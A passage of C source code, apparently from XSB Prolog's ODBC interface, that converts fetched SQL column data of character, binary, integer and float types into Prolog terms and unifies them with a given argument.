len = ((cur->ColLen[ColCurNum] < cur->OutLen[ColCurNum])?
cur->ColLen[ColCurNum]:cur->OutLen[ColCurNum]);
*(cur->Data[ColCurNum]+len) = '\0';
/* compare strings here, so don't intern strings unnecessarily*/
XSB_Deref(op);
if (isref(op))
return unify(op, makestring(string_find(cur->Data[ColCurNum],1)));
if (isconstr(op) && get_arity(get_str_psc(op)) == 1) {
STRFILE strfile;
op1 = cell(clref_val(op)+1);
XSB_Deref(op1);
strfile.strcnt = strlen(cur->Data[ColCurNum]);
strfile.strptr = strfile.strbase = cur->Data[ColCurNum];
read_canonical_term(NULL,&strfile,op1); /* terminating '.'? */
return TRUE;
}
if (!isstring(op)) return FALSE;
if (strcmp(string_val(op),cur->Data[ColCurNum])) return FALSE;
return TRUE;
case SQL_C_BINARY:
/* convert the column string to a C string */
len = ((cur->ColLen[ColCurNum] < cur->OutLen[ColCurNum])?
cur->ColLen[ColCurNum]:cur->OutLen[ColCurNum]);
*(cur->Data[ColCurNum]+len) = '\0';
/* compare strings here, so don't intern strings unnecessarily*/
XSB_Deref(op);
if (isref(op))
return unify(op, makestring(string_find(cur->Data[ColCurNum],1)));
if (isconstr(op) && get_arity(get_str_psc(op)) == 1) {
STRFILE strfile;
op1 = cell(clref_val(op)+1);
XSB_Deref(op1);
strfile.strcnt = strlen(cur->Data[ColCurNum]);
strfile.strptr = strfile.strbase = cur->Data[ColCurNum];
read_canonical_term(NULL,&strfile,op1); /* terminating '.'? */
return TRUE;
}
if (!isstring(op)) return FALSE;
if (strcmp(string_val(op),cur->Data[ColCurNum])) return FALSE;
return TRUE;
case SQL_C_SLONG:
return unify(op,makeint(*(long *)(cur->Data[ColCurNum])));
case SQL_C_FLOAT:
return unify(op,makefloat(*(float *)(cur->Data[ColCurNum])));
}
return FALSE;
}
